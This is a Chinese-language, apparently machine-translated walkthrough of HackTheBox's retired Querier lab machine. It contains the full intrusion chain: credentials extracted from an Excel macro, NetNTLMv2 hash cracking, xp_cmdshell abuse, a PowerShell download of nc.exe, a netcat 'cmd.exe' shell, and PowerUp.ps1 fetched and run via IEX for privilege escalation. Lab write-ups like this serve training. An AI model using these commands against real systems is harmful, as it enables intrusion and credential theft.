哈Ha! 在本文中,您将学习使用MsSQL的功能攻击远程服务器,创建用于在系统中修复的反向外壳的方法,以及在Windows中操作配置错误的组策略的示例。
在
切入点下,我们将讨论在
hackthebox门户上传递
Querier实验室机器的
经验 。
对于那些不知道hackthebox是什么的人来说,这是一个门户,您可以在其中测试自己的笔试技能,那里本身就有CTF任务和实验室机器。
免责声明该服务的规则如下:“ 不要与其他成员共享您如何入侵每台计算机。 这包括邀请代码的产生和所有的挑战 。“ 但是,由于该计算机不再处于活动状态,并且存储在“ 退休计算机”部分中,因此只有VIP成员才能访问它。

信息收集
让我们通过使用nmap启动端口扫描开始我们的探索。
nmap –sC –Pn –A 10.10.10.125

我们列出找到的端口。
列举139/445 / tcp(smb)
我们将使用smbclient实用程序访问SMB服务器资源。
smbclient –L //10.10.10.125
浏览完所有资源后,我们在Reports目录中找到文件“ Currency Volume Report.xlsm”。

如果使用标准Microsoft Excel打开此文件,则
乍一看它会完全空白。
我们使用
binwalk实用程序分析文件,该实用程序将帮助您查看xlsm文档的嵌入式文件。

从binwalk的输出中,我们发现xlsm中包含一些有趣的文件。
使用–e标志,将其解压缩。
binwalk –e Currency\ Volume\ Report.xlsm

现在,我们将使用
字符串实用程序来输出打印的字符。 浏览文件,我们在vbaProject.bin中找到了有趣的数据。 看来我们找到了mssql服务器的凭据。

总结当前收到的信息:
- 我们知道mssql服务器在端口10.10.10.125:1433上旋转;
- 我们有来自用户mssql服务器的凭据。
因此,让我们尝试使用
impacket模块中的脚本连接到服务器。
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
获取对MsSQL的访问。

枚举MsSQL
我们使用
本文中的命令列出了对我们有用的信息。
执行SQLi之后,我们从用户mssql-svc的密码中获得一个哈希值。

要明确获取密码,必须使用任何方便的工具将其删除。
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
我们从mssql-svc获得密码 。
使用新的凭证
贷款连接到SQL。
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
该用户的权限允许我们执行
xp_cmdshell关于xp_cmdshellMsSQL附带了大量高级存储过程。 其中最有趣的是xp_cmdshell。 它提供对操作系统命令行的访问。
获得反向壳
我们正在尝试通过netcat获取外壳,为此,我们需要将其上传到受攻击的服务器。
我们转到netcat所在机器上的目录并运行:
python –m SimpleHTTPServer
在mssql shell中,将netcat(nc.exe)下载到远程服务器,运行powershell命令,并指定保存路径。
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "
我们启动netcat来监听端口4444。
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
我们从一边启动netcat,指定受攻击服务器的ip和端口并获取shell。
nc 10.10.10.125 4444
从PowerShellMafia运行
脚本以增加特权。
powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks

脚本的结果是,我们获得了管理员凭据。
我们使用新的凭据和权限访问smb资源。


取root.txt标志。 胜利了!